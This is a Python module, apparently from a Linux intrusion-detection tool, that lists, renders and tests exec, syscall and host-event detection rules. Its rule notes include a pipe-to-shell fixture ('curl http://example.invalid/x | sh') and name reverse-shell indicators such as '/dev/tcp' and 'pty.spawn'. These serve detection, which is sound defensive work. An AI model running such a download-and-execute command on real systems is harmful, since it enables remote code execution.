368 lines
14 KiB
Python
368 lines
14 KiB
Python
# SPDX-License-Identifier: GPL-3.0-or-later
|
|
"""Operator-facing helpers for inspecting and testing detection rules."""
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
from pathlib import Path
|
|
from typing import Any
|
|
|
|
from .alert import Alert
|
|
from .config import Config
|
|
from .events.exec_event import ExecEvent
|
|
from .events.host_event import HostEvent
|
|
from .events.host_rules import DEFAULT_HOST_RULES, HostRule, HostRuleEngine
|
|
from .events.rules import DEFAULT_EXEC_RULES, ExecRule, ExecRuleEngine
|
|
from .events.syscall_event import SyscallEvent
|
|
from .events.syscall_rules import (
|
|
DEFAULT_SYSCALL_RULES,
|
|
SyscallRule,
|
|
SyscallRuleEngine,
|
|
)
|
|
|
|
|
|
def list_rules(cfg: Config) -> list[dict[str, Any]]:
|
|
"""Return built-in and configured event rules as stable dictionaries."""
|
|
exec_builtin = {r.sid for r in DEFAULT_EXEC_RULES}
|
|
syscall_builtin = {r.sid for r in DEFAULT_SYSCALL_RULES}
|
|
host_builtin = {r.sid for r in DEFAULT_HOST_RULES}
|
|
records = [
|
|
_exec_rule_record(r, "builtin" if r.sid in exec_builtin else "configured")
|
|
for r in ExecRuleEngine.load(cfg.exec_rules_file).rules
|
|
]
|
|
records.extend(
|
|
_syscall_rule_record(r, "builtin" if r.sid in syscall_builtin else "configured")
|
|
for r in SyscallRuleEngine().rules
|
|
)
|
|
records.extend(
|
|
_host_rule_record(r, "builtin" if r.sid in host_builtin else "configured")
|
|
for r in HostRuleEngine().rules
|
|
)
|
|
return sorted(records, key=lambda r: (int(r["sid"]), str(r["event"])))
|
|
|
|
|
|
def find_rule(cfg: Config, sid: int) -> dict[str, Any] | None:
|
|
for record in list_rules(cfg):
|
|
if record["sid"] == sid:
|
|
return record
|
|
return None
|
|
|
|
|
|
def render_markdown(cfg: Config) -> str:
|
|
"""Render active event-rule metadata as operator documentation."""
|
|
lines = [
|
|
"# Enodia Sentinel Event Rule Reference",
|
|
"",
|
|
"Generated from the active exec/syscall/host-event rule defaults plus "
|
|
"any configured `exec_rules_file` entries.",
|
|
"",
|
|
"Use `enodia-sentinel rules list/show/test` to inspect rules and validate "
|
|
"event fixtures locally.",
|
|
"",
|
|
]
|
|
for rule in list_rules(cfg):
|
|
doc = _RULE_DOCS.get(rule["sid"], {})
|
|
lines.extend([
|
|
f"## SID {rule['sid']}: {rule['msg']}",
|
|
"",
|
|
f"- Event: `{rule['event']}`",
|
|
f"- Signature: `{rule['signature']}`",
|
|
f"- Classtype: `{rule['classtype']}`",
|
|
f"- Severity: `{rule['severity']}`",
|
|
f"- Origin: `{rule['origin']}`",
|
|
"",
|
|
"Match fields:",
|
|
])
|
|
conditions = rule.get("conditions", {})
|
|
if conditions:
|
|
for key, value in conditions.items():
|
|
lines.append(f"- `{key}`: {_format_condition(value)}")
|
|
else:
|
|
lines.append("- none")
|
|
lines.extend([
|
|
"",
|
|
"Expected false positives:",
|
|
])
|
|
for fp in doc.get("false_positives", _default_false_positives(rule)):
|
|
lines.append(f"- {fp}")
|
|
lines.extend([
|
|
"",
|
|
f"Drill or fixture: {doc.get('drill', _default_drill(rule))}",
|
|
"",
|
|
])
|
|
return "\n".join(lines).rstrip() + "\n"
|
|
|
|
|
|
def load_event_json(path: str) -> dict[str, Any]:
|
|
if path == "-":
|
|
import sys
|
|
return json.loads(sys.stdin.read())
|
|
return json.loads(Path(path).read_text())
|
|
|
|
|
|
def test_event(cfg: Config, event: dict[str, Any]) -> list[Alert]:
|
|
kind = _event_kind(event)
|
|
if kind == "exec":
|
|
return list(ExecRuleEngine.load(cfg.exec_rules_file).match(_exec_event(event)))
|
|
if kind == "syscall":
|
|
return list(SyscallRuleEngine().match(_syscall_event(event)))
|
|
if kind == "host":
|
|
return list(HostRuleEngine().match(_host_event(event)))
|
|
raise ValueError("event JSON must be an exec, syscall, or host event")
|
|
|
|
|
|
def _exec_rule_record(rule: ExecRule, origin: str) -> dict[str, Any]:
|
|
conditions: dict[str, Any] = {}
|
|
if rule.path_prefixes:
|
|
conditions["path_prefixes"] = list(rule.path_prefixes)
|
|
if rule.exec_comm:
|
|
conditions["exec_comm"] = sorted(rule.exec_comm)
|
|
if rule.parent_comm:
|
|
conditions["parent_comm"] = sorted(rule.parent_comm)
|
|
if rule.argv_regex:
|
|
conditions["argv_regex"] = rule.argv_regex
|
|
if rule.parent_exclude:
|
|
conditions["parent_exclude"] = sorted(rule.parent_exclude)
|
|
return {
|
|
"sid": rule.sid,
|
|
"event": "exec",
|
|
"origin": origin,
|
|
"severity": str(rule.severity),
|
|
"classtype": rule.classtype,
|
|
"signature": f"exec_rule.{rule.classtype}",
|
|
"msg": rule.msg,
|
|
"conditions": conditions,
|
|
}
|
|
|
|
|
|
def _syscall_rule_record(rule: SyscallRule, origin: str) -> dict[str, Any]:
|
|
return {
|
|
"sid": rule.sid,
|
|
"event": "syscall",
|
|
"origin": origin,
|
|
"severity": str(rule.severity),
|
|
"classtype": rule.classtype,
|
|
"signature": f"syscall_rule.{rule.classtype}",
|
|
"msg": rule.msg,
|
|
"conditions": {
|
|
"syscalls": sorted(rule.syscalls),
|
|
"predicate": "built-in predicate",
|
|
},
|
|
}
|
|
|
|
|
|
def _host_rule_record(rule: HostRule, origin: str) -> dict[str, Any]:
|
|
conditions: dict[str, Any] = {
|
|
"events": sorted(rule.events),
|
|
}
|
|
if rule.comm:
|
|
conditions["comm"] = sorted(rule.comm)
|
|
if rule.parent_comm:
|
|
conditions["parent_comm"] = sorted(rule.parent_comm)
|
|
if rule.peer_public is not None:
|
|
conditions["peer_public"] = rule.peer_public
|
|
if rule.peer_ports:
|
|
conditions["peer_ports"] = sorted(rule.peer_ports)
|
|
if rule.peer_port_exclude:
|
|
conditions["peer_port_exclude"] = sorted(rule.peer_port_exclude)
|
|
if rule.local_ports:
|
|
conditions["local_ports"] = sorted(rule.local_ports)
|
|
if rule.local_port_exclude:
|
|
conditions["local_port_exclude"] = sorted(rule.local_port_exclude)
|
|
if rule.argv_regex:
|
|
conditions["argv_regex"] = rule.argv_regex
|
|
return {
|
|
"sid": rule.sid,
|
|
"event": ",".join(sorted(rule.events)),
|
|
"origin": origin,
|
|
"severity": str(rule.severity),
|
|
"classtype": rule.classtype,
|
|
"signature": f"host_rule.{rule.classtype}",
|
|
"msg": rule.msg,
|
|
"conditions": conditions,
|
|
}
|
|
|
|
|
|
_RULE_DOCS: dict[int, dict[str, Any]] = {
|
|
100001: {
|
|
"false_positives": [
|
|
"Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.",
|
|
"One-shot administrative diagnostics copied into a writable directory.",
|
|
],
|
|
"drill": "`sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.",
|
|
},
|
|
100002: {
|
|
"false_positives": [
|
|
"Security training labs or safe self-tests that intentionally include reverse-shell command text.",
|
|
"Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.",
|
|
],
|
|
"drill": "`sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.",
|
|
},
|
|
100003: {
|
|
"false_positives": [
|
|
"Legitimate web applications invoking maintenance scripts through shell wrappers.",
|
|
"Database or web service containers whose entrypoint intentionally spawns an interpreter.",
|
|
],
|
|
"drill": "Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.",
|
|
},
|
|
100004: {
|
|
"false_positives": [
|
|
"Bootstrap scripts that intentionally pipe downloaded install content into a shell.",
|
|
"Developer setup tooling run interactively during provisioning.",
|
|
],
|
|
"drill": "Use `rules test` with argv like `curl http://example.invalid/x | sh`.",
|
|
},
|
|
100060: {
|
|
"false_positives": [
|
|
"JIT runtimes or emulators that make pages writable and executable.",
|
|
"Security tooling that deliberately tests W^X policy.",
|
|
],
|
|
"drill": "Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.",
|
|
},
|
|
100061: {
|
|
"false_positives": [
|
|
"JIT runtimes, emulators, or language VMs that allocate RWX memory.",
|
|
"Compatibility layers that request executable writable mappings.",
|
|
],
|
|
"drill": "Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.",
|
|
},
|
|
100062: {
|
|
"false_positives": [
|
|
"Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.",
|
|
"Container or IPC frameworks using memfd as a transport primitive.",
|
|
],
|
|
"drill": "Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.",
|
|
},
|
|
100063: {
|
|
"false_positives": [
|
|
"Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.",
|
|
"Developer sessions running `strace`, `gdb`, or similar tracing tools.",
|
|
],
|
|
"drill": "Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).",
|
|
},
|
|
100064: {
|
|
"false_positives": [
|
|
"Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.",
|
|
"Security test harnesses validating seccomp policy.",
|
|
],
|
|
"drill": "Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).",
|
|
},
|
|
100065: {
|
|
"false_positives": [
|
|
"Debuggers, profilers, memory scanners, and EDR tools inspecting another process.",
|
|
"Backup or checkpoint tooling that reads process memory intentionally.",
|
|
],
|
|
"drill": "Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.",
|
|
},
|
|
100066: {
|
|
"false_positives": [
|
|
"Databases, crypto agents, and credential stores locking sensitive memory.",
|
|
"Realtime or performance-sensitive services using `mlock` intentionally.",
|
|
],
|
|
"drill": "Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.",
|
|
},
|
|
100067: {
|
|
"false_positives": [
|
|
"Interactive admin scripts that intentionally connect to a non-standard public service.",
|
|
"Developer tooling using interpreters for custom APIs on high ports.",
|
|
],
|
|
"drill": "Use `rules test` with a `tcp_connect` event whose `comm` is an interpreter and whose public `peer_port` is not a common service port.",
|
|
},
|
|
100068: {
|
|
"false_positives": [
|
|
"Developer HTTP servers, netcat listeners, or local test harnesses intentionally opened from an interpreter.",
|
|
"Administrative troubleshooting that temporarily listens on a high port.",
|
|
],
|
|
"drill": "Use `rules test` with a `listen` event whose `comm` is an interpreter and whose `local_port` is not a common service port.",
|
|
},
|
|
}
|
|
|
|
|
|
def _format_condition(value: Any) -> str:
|
|
if isinstance(value, list):
|
|
return ", ".join(f"`{v}`" for v in value) or "`[]`"
|
|
return f"`{value}`"
|
|
|
|
|
|
def _default_false_positives(rule: dict[str, Any]) -> list[str]:
|
|
if rule.get("origin") == "configured":
|
|
return ["Operator supplied rule; document expected benign matches beside the TOML rule."]
|
|
return ["No documented benign case yet; validate with `rules test` before tuning."]
|
|
|
|
|
|
def _default_drill(rule: dict[str, Any]) -> str:
|
|
if rule.get("origin") == "configured":
|
|
return "Use `enodia-sentinel rules test <event-json>` with a fixture that should match the configured rule."
|
|
return "Use `enodia-sentinel rules test <event-json>` with a representative fixture."
|
|
|
|
|
|
def _event_kind(event: dict[str, Any]) -> str:
|
|
explicit = str(event.get("event") or event.get("type") or "").lower()
|
|
if explicit in {"exec", "execve"}:
|
|
return "exec"
|
|
if explicit in {"syscall", "sys"}:
|
|
return "syscall"
|
|
if explicit in {
|
|
"tcp_connect", "bind", "listen", "accept", "file_write",
|
|
"chmod", "chown", "setuid", "setgid", "capset", "module_load",
|
|
}:
|
|
return "host"
|
|
if "filename" in event or "argv" in event or "parent_comm" in event:
|
|
return "exec"
|
|
if "syscall" in event or "args" in event:
|
|
return "syscall"
|
|
return ""
|
|
|
|
|
|
def _exec_event(event: dict[str, Any]) -> ExecEvent:
|
|
return ExecEvent(
|
|
pid=_to_int(event.get("pid", 0)),
|
|
ppid=_to_int(event.get("ppid", 0)),
|
|
uid=_to_int(event.get("uid", 0)),
|
|
parent_comm=str(event.get("parent_comm", "")),
|
|
filename=str(event.get("filename", "")),
|
|
argv=tuple(str(a) for a in event.get("argv", ())),
|
|
)
|
|
|
|
|
|
def _syscall_event(event: dict[str, Any]) -> SyscallEvent:
|
|
args = list(event.get("args", ()))
|
|
args.extend([0] * (6 - len(args)))
|
|
return SyscallEvent(
|
|
pid=_to_int(event.get("pid", 0)),
|
|
ppid=_to_int(event.get("ppid", 0)),
|
|
uid=_to_int(event.get("uid", 0)),
|
|
comm=str(event.get("comm", "")),
|
|
syscall=str(event.get("syscall", "")),
|
|
arg0=_to_int(event.get("arg0", args[0])),
|
|
arg1=_to_int(event.get("arg1", args[1])),
|
|
arg2=_to_int(event.get("arg2", args[2])),
|
|
arg3=_to_int(event.get("arg3", args[3])),
|
|
arg4=_to_int(event.get("arg4", args[4])),
|
|
arg5=_to_int(event.get("arg5", args[5])),
|
|
text=str(event.get("text", "")),
|
|
)
|
|
|
|
|
|
def _host_event(event: dict[str, Any]) -> HostEvent:
|
|
return HostEvent(
|
|
event=str(event.get("event") or event.get("type") or ""),
|
|
pid=_to_int(event.get("pid", 0)),
|
|
ppid=_to_int(event.get("ppid", 0)),
|
|
uid=_to_int(event.get("uid", 0)),
|
|
comm=str(event.get("comm", "")),
|
|
parent_comm=str(event.get("parent_comm", "")),
|
|
path=str(event.get("path", "")),
|
|
argv=tuple(str(a) for a in event.get("argv", ())),
|
|
peer_ip=str(event.get("peer_ip", event.get("remote_ip", ""))),
|
|
peer_port=_to_int(event.get("peer_port", event.get("remote_port", 0))),
|
|
local_ip=str(event.get("local_ip", event.get("bind_ip",
|
|
event.get("listen_ip", "")))),
|
|
local_port=_to_int(event.get("local_port", event.get("bind_port",
|
|
event.get("listen_port", 0)))),
|
|
)
|
|
|
|
|
|
def _to_int(value: Any) -> int:
|
|
if isinstance(value, str):
|
|
return int(value, 0)
|
|
return int(value)
|